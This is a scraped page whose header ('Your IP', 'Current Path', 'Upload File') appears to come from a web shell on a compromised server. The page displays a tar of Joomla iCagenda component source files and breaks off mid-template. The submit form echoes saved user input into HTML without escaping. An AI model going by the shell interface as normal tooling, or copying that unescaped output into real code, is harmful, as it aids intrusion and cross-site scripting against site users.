Your IP : 216.73.216.61


Current Path : /home/w/u/e/wuectly/www/03cbe/
Upload File :
Current File : /home/w/u/e/wuectly/www/03cbe/components.tar

com_icagenda/router.php000060400000010437152453734450011203 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright   Copyright (c)2012-2015 Cyril Rezé, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Cyril Rezé (Lyr!C)
 * @link        http://www.joomlic.com
 *
 * @version     3.4.0 2014-07-08
 * @since       1.0
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die();


function iCagendaBuildRoute( &$query )
{
	$segments = array();

	// link event
	if (isset($query['layout']) && $query['layout'] == 'event')
	{
		// Make sure we have the id and the alias
		if (strpos($query['id'], ':') === false)
		{
			$db = JFactory::getDbo();
			$aquery = $db->setQuery($db->getQuery(true)
				->select('alias')
				->from('#__icagenda_events')
				->where('id=' . (int) $query['id'])
			);
			$alias = $db->loadResult();

			$query['id'] = $query['id'] . ':' . $alias;
		}

		$segments[] = $query['id'];

		unset($query['id']);
		unset($query['view']);
		unset($query['layout']);
	}

	// link submit
	if (isset($query['layout']) && $query['layout'] == 'send')
	{
		$segments[] = $query['id'];
		unset($query['id']);

		$segments[] = 'sending';
		unset($query['view']);
		unset($query['layout']);
	}

	// link registration
	if (isset($query['layout']) && $query['layout'] == 'registration')
	{
		// Make sure we have the id and the alias
		if (strpos($query['id'], ':') === false)
		{
			$db = JFactory::getDbo();
			$aquery = $db->setQuery($db->getQuery(true)
				->select('alias')
				->from('#__icagenda_events')
				->where('id='.(int)$query['id'])
			);
			$alias = $db->loadResult();

			$query['id'] = $query['id'].':'.$alias;
		}

		$segments[] = $query['id'];
		unset($query['id']);

		$segments[] = 'registration';
		unset($query['view']);
		unset($query['layout']);
	}

	// link payment
	if (isset($query['layout']) && $query['layout'] == 'actions')
	{
		// Make sure we have the id and the alias
		if (strpos($query['id'], ':') === false)
		{
			$db = JFactory::getDbo();
			$aquery = $db->setQuery($db->getQuery(true)
				->select('alias')
				->from('#__icagenda_events')
				->where('id='.(int)$query['id'])
			);
			$alias = $db->loadResult();

			$query['id'] = $query['id'].':'.$alias;
		}

		$segments[] = $query['id'];
		unset($query['id']);

		$segments[] = 'actions';
		unset($query['view']);
		unset($query['layout']);
	}

	// link search
	if (isset($query['view']) && $query['view'] == 'search')
	{
		$segments[] = 'search';
	}

	// link submit
	if (isset($query['view']) && $query['view'] == 'submit')
	{
		$segments[] = 'submission';
		unset($query['view']);
		unset($query['layout']);
	}

	// link list (since 3.4.0)
	if (isset($query['view']) && $query['view'] == 'list')
	{
		$segments[] = 'list';
		unset($query['view']);
		unset($query['layout']);
	}

	return $segments;
}

function iCagendaParseRoute( $segments )
{
	$app = JFactory::getApplication();
	$menu = $app->getMenu();
	$item = $menu->getActive();
	$vars = array();

	// Count route segments
	$count = count($segments);

	if (in_array('sending', $segments))
	{
		$vars['option']	= 'com_icagenda';
		$vars['view']	= 'submit';
		$vars['layout']	= 'send';
		$vars['id'] 	= $segments[0];
	}
	elseif (in_array('actions', $segments))
	{
		$vars['option']	= 'com_icagenda';
		$vars['view']	= 'list';
		$vars['layout']	= 'actions';
		$vars['id'] 	= $segments[0];
	}
	elseif (in_array('registration', $segments))
	{
		$vars['option']	= 'com_icagenda';
		$vars['view']	= 'list';
		$vars['layout']	= 'registration';
		$vars['id'] 	= $segments[0];
	}
	elseif (in_array('search', $segments))
	{
		$vars['option']	= 'com_icagenda';
		$vars['view']	= 'list';
		$vars['layout']	= 'search';
	}
	elseif (in_array('submission', $segments))
	{
		$vars['option']	= 'com_icagenda';
		$vars['view']	= 'submit';
	}
	elseif (in_array('list', $segments))
	{
		$vars['option']	= 'com_icagenda';
		$vars['view']	= 'list';
	}
	else
	{
		$vars['option']	= 'com_icagenda';
		$vars['view']	= 'list';
		$vars['layout']	= 'event';
		$vars['id'] 	= $segments[0];
	}

	return $vars;
}
com_icagenda/icagenda.php000060400000012537152453734450011421 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright   Copyright (c)2012-2015 Cyril Rezé, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Cyril Rezé (Lyr!C)
 * @link        http://www.joomlic.com
 *
 * @version     3.5.6 2015-06-23
 * @since       1.0
 *
 *  This program is free software: you can redistribute it and/or modify
 *  it under the terms of the GNU General Public License as published by
 *  the Free Software Foundation, either version 3 of the License, or
 *  (at your option) any later version.
 *
 *  This program is distributed in the hope that it will be useful,
 *  but WITHOUT ANY WARRANTY; without even the implied warranty of
 *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 *  GNU General Public License for more details.
 *
 *  You should have received a copy of the GNU General Public License
 *  along with this program.  If not, see <http://www.gnu.org/licenses/>.
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die();

// J3 DS Define :
if ( ! defined('DS')) define('DS', DIRECTORY_SEPARATOR);

// Get Application
$app = JFactory::getApplication();

// Check Errors: iC Library & iCagenda Utilities
$UTILITIES_DIR = is_dir(JPATH_ADMINISTRATOR . '/components/com_icagenda/utilities');

if ( (!$UTILITIES_DIR)
	|| (!class_exists('iCLibrary')) )
{
	$alert_message = JText::_('ICAGENDA_CAN_NOT_LOAD') . '<br />';
	$alert_message.= '<ul>';
	if (!class_exists('iCLibrary')) $alert_message.= '<li>' . JText::_('IC_LIBRARY_NOT_LOADED') . '</li>';
	if (!$UTILITIES_DIR) $alert_message.= '<li>' . JText::_('ICAGENDA_A_FOLDER_IS_MISSING') . '</li>';
	$alert_message.= '</ul>';
	if (!$UTILITIES_DIR) $alert_message.= JText::_('ICAGENDA_IS_NOT_CORRECTLY_INSTALLED') . ' ';
	if (!$UTILITIES_DIR) $alert_message.= JText::_('ICAGENDA_INSTALL_AGAIN') . '<br />';
	if (!$UTILITIES_DIR) $alert_message.= JText::_('IC_ALTERNATIVELY') . ':<br /><ul>';
	if ($UTILITIES_DIR) $alert_message.= JText::_('IC_PLEASE') . ', ';
	if (!class_exists('iCLibrary'))
	{
		if (!$UTILITIES_DIR) $alert_message.= '<li>';
		$alert_message.= JText::_('IC_LIBRARY_CHECK_PLUGIN_AND_LIBRARY');
		if (!$UTILITIES_DIR) $alert_message.= '</li>';
	}
	if (!$UTILITIES_DIR)
	{
		$alert_message.= '<li>' . JText::Sprintf('ICAGENDA_UTILITIES_FIX_MANUAL'
						, '<strong>admin/utilities</strong>'
						, '<strong>administrator/components/com_icagenda/</strong>');
		$alert_message.= '</li></ul>';
	}

	// Get the message queue
	$messages = $app->getMessageQueue();

	$display_alert_message = false;

	// If we have messages
	if (is_array($messages) && count($messages))
	{
		// Check each message for the one we want
		foreach ($messages as $key => $value)
		{
			if ($value['message'] == $alert_message)
			{
				$display_alert_message = true;
			}
		}
	}

	if (!$display_alert_message)
	{
		$app->enqueueMessage($alert_message, 'error');
	}
}
else
{
	// Loads Utilities
	JLoader::registerPrefix('icagenda', JPATH_ADMINISTRATOR . '/components/com_icagenda/utilities');

	if ( ! defined('IC_LIBRARY'))
	{
		define('IC_LIBRARY', '1.3.0');
	}
}

// Set Input J3
$jinput = JFactory::getApplication()->input;

// Load Live Update & Joomla import
// Joomla 3.x / 2.5 SWITCH
if (version_compare(JVERSION, '3.0', 'ge'))
{
	require_once JPATH_ADMINISTRATOR . '/components/com_icagenda/liveupdate/liveupdate.php';

	if ($jinput->get('view') == 'liveupdate')
	{
		LiveUpdate::handleRequest(); return;
	}
}
else
{
	require_once JPATH_COMPONENT_ADMINISTRATOR.DS.'/liveupdate'.DS.'liveupdate.php'; if (JRequest::getCmd('view','') == 'liveupdate')
	{
		LiveUpdate::handleRequest(); return;
	}
	jimport('joomla.application.component.controller');
}

// Set some global property
$document = JFactory::getDocument();
$document->addStyleDeclaration('.icon-48-icagenda {background-image: none);}');

// Load Vector iCicons Font
JHtml::stylesheet( 'media/com_icagenda/icicons/style.css' );

// CSS files which could be overridden into your site template. (eg. /templates/my_template/css/com_icagenda/icagenda-back.css)
JHtml::stylesheet( 'com_icagenda/icagenda-back.css', false, true );

// Load translations
$language = JFactory::getLanguage();
$language->load('com_icagenda', JPATH_ADMINISTRATOR, 'en-GB', true);
$language->load('com_icagenda', JPATH_ADMINISTRATOR, null, true);

// Access check.
if ( ! JFactory::getUser()->authorise('core.manage', 'com_icagenda'))
{
	return JError::raiseWarning(404, JText::_('JERROR_ALERTNOAUTHOR'));
}

// Require helper file
JLoader::register('iCagendaHelper', dirname(__FILE__) . '/helpers/icagenda.php');

// Check config params
icagendaParams::encryptPassword();

// Get an instance of the controller prefixed by iCagenda
// Joomla 3.x / 2.5 SWITCH
if (version_compare(JVERSION, '3.0', 'ge'))
{
	$controller = JControllerLegacy::getInstance('iCagenda');

	// Perform the Request task
	$controller->execute($jinput->get('task'));
}
else
{
	$controller = JController::getInstance('iCagenda');

	// Perform the Request task
	$controller->execute(JRequest::getCmd('task'));
}

// Redirect if set by the controller
$controller->redirect();
com_icagenda/index.html000060400000000032152453734450011135 0ustar00<html><body></body></html>com_icagenda/views/index.html000060400000000032152453734450012272 0ustar00<html><body></body></html>com_icagenda/views/submit/view.html.php000060400000012350152453734450014234 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright   Copyright (c)2012-2015 Cyril Rezé, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Cyril Rezé (Lyr!C)
 * @link        http://www.joomlic.com
 *
 * @version 	3.5.12 2015-09-25
 * @since       3.2.0
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die();

jimport('joomla.application.component.helper');

/**
 * View class Site - Add an Event - iCagenda
 */
class iCagendaViewSubmit extends JViewLegacy
{
	// TODO: check and remove
	protected $return_page;

	protected $state;
	protected $item;
	protected $form;

	protected $params;

	/**
	 * Display the view
	 */
	public function display($tpl = null)
	{
		// Initialiase variables.
		$this->state	= $this->get('State');
		$this->item		= $this->get('Item');
		$this->form		= $this->get('Form');

		if (JRequest::get( 'POST' )) $this->get('data');

		// loading params
		$app = JFactory::getApplication();
		$params = $app->getParams();

		$this->template = $params->get('template');
		$this->title = $params->get('title');
		$this->format = $params->get('format');
		$this->copy = $params->get('copy');
		$this->submit = "media/com_icagenda/js/jsevt.js";
		$this->submit_imageDisplay			= $params->get('submit_imageDisplay', 1);
		$this->submit_periodDisplay			= $params->get('submit_periodDisplay', 1);
		$this->submit_weekdaysDisplay		= $params->get('submit_weekdaysDisplay', 1);
		$this->submit_datesDisplay			= $params->get('submit_datesDisplay', 1);
		$this->submit_displaytimeDisplay	= $params->get('submit_displaytimeDisplay', 0);
		$this->submit_shortdescDisplay		= $params->get('submit_shortdescDisplay', 1);
		$this->submit_descDisplay			= $params->get('submit_descDisplay', 1);
		$this->submit_metadescDisplay		= $params->get('submit_metadescDisplay', 0);
		$this->submit_venueDisplay			= $params->get('submit_venueDisplay', 1);
		$this->submit_emailDisplay			= $params->get('submit_emailDisplay', 1);
		$this->submit_phoneDisplay			= $params->get('submit_phoneDisplay', 1);
		$this->submit_websiteDisplay		= $params->get('submit_websiteDisplay', 1);
		$this->submit_customfieldsDisplay	= $params->get('submit_customfieldsDisplay', 1);
		$this->submit_fileDisplay			= $params->get('submit_fileDisplay', 1);
		$this->submit_gmapDisplay			= $params->get('submit_gmapDisplay', 1);
		$this->submit_regoptionsDisplay		= $params->get('submit_regoptionsDisplay', 1);
		$this->statutReg					= $params->get('statutReg', 0);
		$this->ShortDescLimit				= $params->get('ShortDescLimit', '160');
		$this->submit_imageMaxSize			= $params->get('submit_imageMaxSize', '800');
		$this->submit_captcha				= $params->get('submit_captcha', 0);
		$this->submit_form_validation		= $params->get('submit_form_validation', '');

		$this->pageclass_sfx	= htmlspecialchars($params->get('pageclass_sfx'));

		$this->params = $this->state->get('params');
		$this->iCparams = $this->params;

		// Check for errors.
		if (count($errors = $this->get('Errors')))
		{
			JError::raiseError(500, implode('<br />', $errors));
			return false;
		}
		// ASSIGN (deprecated)
//		$this->assignRef('params', $iCparams);

		$this->_prepareDocument();

		icagendaInfo::commentVersion();

		parent::display($tpl);

		icagendaEvents::isListOfEvents();
		icagendaForm::loadDateTimePickerJSLanguage();

		$jlayout		= JRequest::getCmd('layout', '');
		$layouts_array	= array('event', 'registration');
		$layout			= in_array($jlayout, $layouts_array) ? $jlayout : '';

		if ( ! $layout || $layout == 'submit')
		{
			JHtml::stylesheet( 'com_icagenda/icagenda.css', false, true );
			JHtml::stylesheet( 'com_icagenda/jquery-ui-1.8.17.custom.css', false, true );
		}
	}


	protected function _prepareDocument()
	{
		$app		= JFactory::getApplication();
		$menus		= $app->getMenu();
		$pathway 	= $app->getPathway();
		$title 		= null;

		$menu = $menus->getActive();

		if ($menu)
		{
			$this->params->def('page_heading', $this->params->get('page_title', $menu->title));
		}
		else
		{
			$this->params->def('page_heading', JText::_('JGLOBAL_ARTICLES'));
		}

		$title = $this->params->get('page_title', '');

		if (empty($title))
		{
			$title = $app->getCfg('sitename');
		}
		elseif ($app->getCfg('sitename_pagetitles', 0) == 1)
		{
			$title = JText::sprintf('JPAGETITLE', $app->getCfg('sitename'), $title);
		}
		elseif ($app->getCfg('sitename_pagetitles', 0) == 2)
		{
			$title = JText::sprintf('JPAGETITLE', $title, $app->getCfg('sitename'));
		}

		$this->document->setTitle($title);

		if ($this->params->get('menu-meta_description', ''))
		{
			$this->document->setDescription($this->params->get('menu-meta_description', ''));
		}

		if ($this->params->get('menu-meta_keywords', ''))
		{
			$this->document->setMetadata('keywords', $this->params->get('menu-meta_keywords', ''));
		}

		if ($app->getCfg('MetaTitle') == '1'
			&& $this->params->get('menupage_title', ''))
		{
			$this->document->setMetaData('title', $this->params->get('page_title', ''));
		}
	}
}
com_icagenda/views/submit/index.html000060400000000054152453734450013601 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_icagenda/views/submit/tmpl/default.php000060400000136273152453734450014732 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright   Copyright (c)2012-2015 Cyril Rezé, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Cyril Rezé (Lyr!C)
 * @link        http://www.joomlic.com
 *
 * @version 	3.5.12 2015-10-05
 * @since       3.2.0
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die();

JHtml::_('behavior.keepalive');
JHtml::_('behavior.formvalidation');

// JFactory
$app		= JFactory::getApplication();
$document	= JFactory::getDocument();
$lang		= JFactory::getLanguage();
$user		= JFactory::getUser();

// Global Options
//$iCparams = JComponentHelper::getParams('com_icagenda');
$iCparams = $app->getParams();

// Get User Info (Access Levels, id, email)
$userLevels	= $user->getAuthorisedViewLevels();
$u_id		= $user->get('id');
$u_mail		= $user->get('email');

// Get Access Levels to the form
$accessDefault = array('2');
$submitAccess = $iCparams->get('submitAccess', $accessDefault);

// Get Content of the page for not logged-in users
$NotLoginDefault = JText::_( 'COM_ICAGENDA_EVENT_SUBMISSION_ACCESS' ).'<br />';
$submitNotLogin = $iCparams->get('submitNotLogin', '');

if ($submitNotLogin == 2)
{
	$submitNotLogin_Content = $iCparams->get('submitNotLogin_Content', $NotLoginDefault);
}
else
{
	$submitNotLogin_Content = $NotLoginDefault;
}

// Get Content of the page for not authorised logged-in users
$NoRightsDefault = JText::_( 'COM_ICAGENDA_EVENT_SUBMISSION_NO_RIGHTS' ).'<br />';
$submitNoRights = $iCparams->get('submitNoRights', '');
if ($submitNoRights == 2)
{
	$submitNoRights_Content = $iCparams->get('submitNoRights_Content', $NoRightsDefault);
}
else
{
	$submitNoRights_Content = $NoRightsDefault;
}

// Control: if access level, set true to display form
$AccessForm = false;

foreach ($submitAccess AS $ac)
{
	if ( in_array($ac, $userLevels ))
	{
		$AccessForm = true;
	}
}

// Set Return Page
$uri		= JFactory::getURI();
$return		= base64_encode($uri);
$rlink		= JRoute::_("index.php?option=com_users&view=login&return=$return", false);

// Loading Submission Page
if ( !$u_id && !in_array('1', $submitAccess ))
{
	// if not login, and submission form not "public"
	$app->enqueueMessage($submitNotLogin_Content, 'info');
	$app->redirect($rlink);

}
elseif (!$AccessForm)
{
	// if No Access Permissions
	$app->enqueueMessage($submitNoRights_Content, 'info');
	$app->redirect($rlink);

}
else
{
	// Display Form

	// Set name or username for logged-in user
	$nameJoomlaUser = $iCparams->get('nameJoomlaUser', 1);
	if ($nameJoomlaUser == 1)
	{
		$u_name=$user->get('name');
	}
	else
	{
		$u_name=$user->get('username');
	}

	// Autofill name and email if registered user log in
	$autofilluser = $iCparams->get('autofilluser', 1);
	if ($autofilluser != 1)
	{
		$u_name='';
		$u_mail='';
	}

	$theme = $this->template;
//	$infoimg = JURI::root().'components/com_icagenda/themes/packs/default/images/info.png';

	JText::script('COM_ICAGENDA_TERMS_OF_SERVICE_NOT_CHECKED_SUBMIT_EVENT');
	JText::script('COM_ICAGENDA_FORM_NO_DATES_ALERT');

	$period_display			= $this->submit_periodDisplay;
	$weekdays_display		= $this->submit_weekdaysDisplay;
	$dates_display			= $this->submit_datesDisplay;
	$displaytime_display	= $this->submit_displaytimeDisplay;
	$displaytime_default	= $iCparams->get('displaytime', '1');

	$tos = $iCparams->get('tos', 1);

	// Set Tooltips
	$icTip_name			= htmlspecialchars('<strong>' . JText::_( 'COM_ICAGENDA_SUBMIT_FORM_USER_NAME' ) . '</strong><br />' . JText::_( 'COM_ICAGENDA_SUBMIT_FORM_USER_NAME_DESC' ) . '');
	$icTip_Uemail		= htmlspecialchars('<strong>' . JText::_( 'COM_ICAGENDA_SUBMIT_FORM_USER_EMAIL' ) . '</strong><br />' . JText::_( 'COM_ICAGENDA_SUBMIT_FORM_USER_EMAIL_DESC' ) . '');
	$icTip_title		= htmlspecialchars('<strong>' . JText::_( 'COM_ICAGENDA_FORM_LBL_EVENT_TITLE' ) . '</strong><br />' . JText::_( 'COM_ICAGENDA_FORM_DESC_EVENT_TITLE' ) . '');
	$icTip_category		= htmlspecialchars('<strong>' . JText::_( 'COM_ICAGENDA_FORM_LBL_EVENT_CATID' ) . '</strong><br />' . JText::_( 'COM_ICAGENDA_FORM_DESC_EVENT_CATID' ) . '');
	$icTip_image		= htmlspecialchars('<strong>' . JText::_( 'COM_ICAGENDA_FORM_LBL_EVENT_IMAGE' ) . '</strong><br />' . JText::_( 'COM_ICAGENDA_FORM_DESC_EVENT_IMAGE' ) . '');
	$icTip_startD		= htmlspecialchars('<strong>' . JText::_( 'COM_ICAGENDA_FORM_LBL_EVENTPERIOD_START' ) . '</strong><br />' . JText::_( 'COM_ICAGENDA_FORM_DESC_EVENTPERIOD_START' ) . '');
	$icTip_endD			= htmlspecialchars('<strong>' . JText::_( 'COM_ICAGENDA_FORM_LBL_EVENTPERIOD_END' ) . '</strong><br />' . JText::_( 'COM_ICAGENDA_FORM_DESC_EVENTPERIOD_END' ) . '');
	$icTip_weekDays		= htmlspecialchars('<strong>' . JText::_( 'COM_ICAGENDA_FORM_WEEK_DAYS_INFO_TITLE' ) . '</strong><br />' . JText::_( 'COM_ICAGENDA_FORM_WEEK_DAYS_INFO_DESC' ) . '');
	$icTip_displayTime	= htmlspecialchars('<strong>' . JText::_( 'COM_ICAGENDA_DISPLAY_TIME_LABEL' ) . '</strong><br />' . JText::_( 'COM_ICAGENDA_DISPLAY_TIME_DESC' ) . '');
	$icTip_venue		= htmlspecialchars('<strong>' . JText::_( 'COM_ICAGENDA_FORM_LBL_EVENT_VENUE' ) . '</strong><br />' . JText::_( 'COM_ICAGENDA_FORM_DESC_EVENT_VENUE' ) . '');
	$icTip_email		= htmlspecialchars('<strong>' . JText::_( 'COM_ICAGENDA_FORM_LBL_EVENT_EMAIL' ) . '</strong><br />' . JText::_( 'COM_ICAGENDA_FORM_DESC_EVENT_EMAIL' ) . '');
	$icTip_phone		= htmlspecialchars('<strong>' . JText::_( 'COM_ICAGENDA_FORM_LBL_EVENT_PHONE' ) . '</strong><br />' . JText::_( 'COM_ICAGENDA_FORM_DESC_EVENT_PHONE' ) . '');
	$icTip_website		= htmlspecialchars('<strong>' . JText::_( 'COM_ICAGENDA_FORM_LBL_EVENT_WEBSITE' ) . '</strong><br />' . JText::_( 'COM_ICAGENDA_FORM_DESC_EVENT_WEBSITE' ) . '');
	$icTip_file			= htmlspecialchars('<strong>' . JText::_( 'COM_ICAGENDA_FORM_LBL_EVENT_FILE' ) . '</strong><br />' . JText::_( 'COM_ICAGENDA_FORM_DESC_EVENT_FILE' ) . '');
	$icTip_reg			= htmlspecialchars('<strong>' . JText::_( 'COM_ICAGENDA_REGISTRATION_LABEL' ) . '</strong><br />' . JText::_( 'COM_ICAGENDA_REGISTRATION_DESC' ) . '');
	$icTip_tickets		= htmlspecialchars('<strong>' . JText::_( 'COM_ICAGENDA_MAX_REGISTRATIONS_LABEL' ) . '</strong><br />' . JText::_( 'COM_ICAGENDA_MAX_REGISTRATIONS_DESC' ) . '');

	$session			= JFactory::getSession();
	$address_session	= $session->get('ic_submit_address', '');
	$ic_submit_tos		= $session->get('ic_submit_tos', '');
	$post				= $session->get('ic_submit', '');

	$post_username			= $post ? $post->username : '';
	$post_created_by_email	= $post ? $post->created_by_email : '';
	$post_title				= $post ? $post->title : '';
	$post_image				= $post ? $post->image : '';
	$post_startdate			= $post ? $post->startdate : '0000-00-00 00:00:00';
	$post_enddate			= $post ? $post->enddate : '0000-00-00 00:00:00';
	$post_weekdays			= $post ? explode(',', $post->weekdays) : array();
	$post_displaytime		= $post ? $post->displaytime : '1';
	$post_desc				= $post ? $post->desc : '';
	$post_venue				= $post ? $post->place : '';
	$post_email				= $post ? $post->email : '';
	$post_phone				= $post ? $post->phone : '';
	$post_website			= $post ? $post->website : '';
	$post_file				= $post ? $post->file : '';
	$post_address			= $post ? $post->address : '';
	$post_lat				= $post ? $post->lat : '0';
	$post_lng				= $post ? $post->lng : '0';
	$post_params			= $post ? $post->params : '';

	if ($post_params)
	{
//		foreach ($post_image as $key => $value)
//		{
//			$post_img[$key] = $value;
//		}

		$post_params = json_decode( $post_params, true );

		foreach ($post_params as $key => $value)
		{
			$post_param[$key] = $value;
		}
	}

	$params = $this->form->getFieldsets('params');


	// Set default values for Google Maps
	// ZOOM
	$zoom = '16';
	// HYBRID, ROADMAP, SATELLITE, TERRAIN
	$mapTypeId = 'ROADMAP';

	$coords = $post_lat . ', ' . $post_lng;
	$lat = '0';
	$lng = '0';
	$zoom = $post ? '16' : '1';

	// Form Validation
	$novalidate			= ($this->submit_form_validation == 1) ? ' novalidate' : '';
	$form_validate		= ($this->submit_form_validation == 1) ? '' : ' form-validate';
	$iCheckForm			= ($this->submit_form_validation == 1) ? '' : ' onsubmit="return iCheckForm();"';
	?>

	<?php // ERROR ALERT ?>
	<div id="form_errors" class="alert alert-danger" style="display:none">
		<strong><?php echo JText::_('JGLOBAL_VALIDATION_FORM_FAILED'); ?></strong>
		<div id="message_error">
		</div>
	</div>

	<div id="icagenda" class="ic-submit-view<?php echo $this->pageclass_sfx; ?>">
		<?php if ($this->params->get('show_page_heading', 1)) : ?>
		<h1 class="componentheading">
			<?php echo $this->escape($this->params->get('page_heading')); ?>
		</h1>
		<?php endif; ?>

		<form id="submitevent" action="<?php echo JRoute::_('index.php?option=com_icagenda&view=submit'); ?>" method="post" class="icagenda_form<?php echo $form_validate; ?>" enctype="multipart/form-data"<?php echo $iCheckForm . $novalidate; ?>>
			<div>
			<legend><?php echo JText::_('COM_ICAGENDA_LEGEND_USERINFOS'); ?></legend>
			<div class="fieldset">
				<div class="ic-control-group ic-clearfix">
					<div class="ic-control-label">
						<label id="submit_username-lbl" for="submit_username"><?php echo JText::_( 'COM_ICAGENDA_SUBMIT_FORM_USER_NAME' ); ?> *</label>
					</div>
					<div class="ic-controls">
						<?php
						if ($u_name)
						{
							echo '<input type="text" id="submit_username" name="username" value="'.$this->escape($u_name).'" size="40" class="input-large required" aria-required="true" readonly="true" />';
						}
						else
						{
							echo '<input type="text" id="submit_username" name="username" value="' . $post_username . '" size="40" class="input-large required" aria-required="true" required="true" />';
						}
						?>
						<?php echo '<span class="iCFormTip iCicon iCicon-info-circle" title="' . $icTip_name . '"></span>'; ?>
					</div>
				</div>
				<div class="ic-control-group ic-clearfix">
					<div class="ic-control-label">
						<label id="submit_created_by_email-lbl" for="submit_created_by_email"><?php echo JText::_( 'COM_ICAGENDA_SUBMIT_FORM_USER_EMAIL' ); ?> *</label>
					</div>
					<div class="ic-controls">
						<?php
						if ($u_mail)
						{
							echo '<input type="text" id="submit_created_by_email" name="created_by_email" value="' . $this->escape($u_mail) . '" size="40" class="input-large required" aria-required="true" readonly="true" />';
						}
						else
						{
							echo '<input type="text" id="submit_created_by_email" name="created_by_email" value="' . $post_created_by_email . '" size="40" class="input-large required" aria-required="true" required="true" />';
						}
						?>
						<?php echo '<span class="iCFormTip iCicon iCicon-info-circle" title="' . $icTip_Uemail . '"></span>'; ?>
					</div>
				</div>
			</div>
			<div>&nbsp;</div>

			<legend id="ic-event-fieldset"><?php echo JText::_('COM_ICAGENDA_LEGEND_NEW_EVENT'); ?></legend>

			<div class="fieldset">
				<div class="ic-control-group ic-clearfix">
					<div class="ic-control-label">
						<label id="title-lbl" for="title"><?php echo JText::_( 'COM_ICAGENDA_FORM_LBL_EVENT_TITLE' ); ?> *</label>
					</div>
					<div class="ic-controls">
						<input id="title" type="text" name="title" size="60" value="<?php echo $post_title; ?>" class="input-xlarge required" aria-required="true" required="true"/>
						<?php echo '<span class="iCFormTip iCicon iCicon-info-circle" title="' . $icTip_title . '"></span>'; ?>
					</div>
				</div>
				<div class="ic-control-group ic-clearfix">
					<div class="ic-control-label">
						<label id="catid-lbl" for="catid"><?php echo JText::_( 'COM_ICAGENDA_FORM_LBL_EVENT_CATID' ); ?> *</label>
					</div>
					<div class="ic-controls ic-select">
						<?php echo $this->form->getInput('catid'); ?>
						<?php echo '<span class="iCFormTip iCicon iCicon-info-circle" title="' . $icTip_category . '"></span>'; ?>
					</div>
				</div>
				<?php if ($this->submit_imageDisplay) : ?>
				<div class="ic-control-group ic-clearfix">
					<div class="ic-control-label">
						<label><?php echo JText::_( 'COM_ICAGENDA_FORM_LBL_EVENT_IMAGE' ); ?></label>
					</div>
					<div class="ic-controls ic-select">
						<?php if (!$post_image) : ?>
							<?php echo $this->form->getInput('image'); ?>
							<?php echo '<span class="iCFormTip iCicon iCicon-info-circle" title="' . $icTip_image . '"></span>'; ?>
						<?php else : ?>
							<?php echo '<input type="hidden" name="image_session" value="' . $post_image . '" />'; ?>
							<?php echo '<img src="' . $post_image .'" alt="" />'; ?>
						<?php endif; ?>
					</div>
				</div>
				<div id="ic-upload-preview"></div>
				<?php endif; ?>
			</div>
			<div>&nbsp;</div>

			<legend id="ic-dates-fieldset"><?php echo JText::_('COM_ICAGENDA_LEGEND_DATES'); ?></legend>

			<div class="fieldset">
				<?php if ($period_display == '1') : ?>
				<h3><?php echo JText::_('COM_ICAGENDA_LEGEND_PERIOD_DATES'); ?></h3>
				<div class="ic-control-group ic-clearfix">
					<div class="ic-control-label">
						<label><?php echo JText::_( 'COM_ICAGENDA_FORM_LBL_EVENTPERIOD_START' ); ?></label>
					</div>
					<div class="ic-controls">
						<?php if ($lang->getTag() == 'fa-IR') : ?>
							<?php echo JHtml::_('calendar', $post_startdate, 'startdate', 'startdate_jalali', '%Y-%m-%d %H:%M:%S', ''); ?>
						<?php else : ?>
							<input type="text" name="startdate" id="startdate" class="ic-date-input" value="<?php echo $post_startdate; ?>">
						<?php endif; ?>
						<?php echo '<span class="iCFormTip iCicon iCicon-info-circle" title="' . $icTip_startD . '"></span>'; ?>
					</div>
				</div>
				<div class="ic-control-group ic-clearfix">
					<div class="ic-control-label">
						<label><?php echo JText::_( 'COM_ICAGENDA_FORM_LBL_EVENTPERIOD_END' ); ?></label>
					</div>
					<div class="ic-controls">
						<?php if ($lang->getTag() == 'fa-IR') : ?>
							<?php echo JHtml::_('calendar', $post_enddate, 'enddate', 'enddate_jalali', '%Y-%m-%d %H:%M:%S', ''); ?>
						<?php else : ?>
							<input type="text" name="enddate" id="enddate" class="ic-date-input" value="<?php echo $post_enddate; ?>">
						<?php endif; ?>
						<?php echo '<span class="iCFormTip iCicon iCicon-info-circle" title="' . $icTip_endD . '"></span>'; ?>
					</div>
				</div>
				<?php if ($weekdays_display == '1') : ?>
				<div class="ic-control-group ic-clearfix">
					<div class="ic-control-label">
						<?php echo $this->form->getLabel('weekdays'); ?>
					</div>
					<div class="ic-controls ic-select">
						<?php if (!$post_weekdays) : ?>
							<?php echo $this->form->getInput('weekdays'); ?>
						<?php else : ?>
							<select
								name="weekdays"
								type="list"
								label="COM_ICAGENDA_FORM_LBL_WEEK_DAYS"
								description="COM_ICAGENDA_FORM_DESC_WEEK_DAYS"
								multiple="true"
								labelclass="control-label"
								>
								<option value="0" <?php if (in_array('0', $post_weekdays)) { echo "selected"; } ?>>
									<?php echo JText::_('SUNDAY') ?></option>
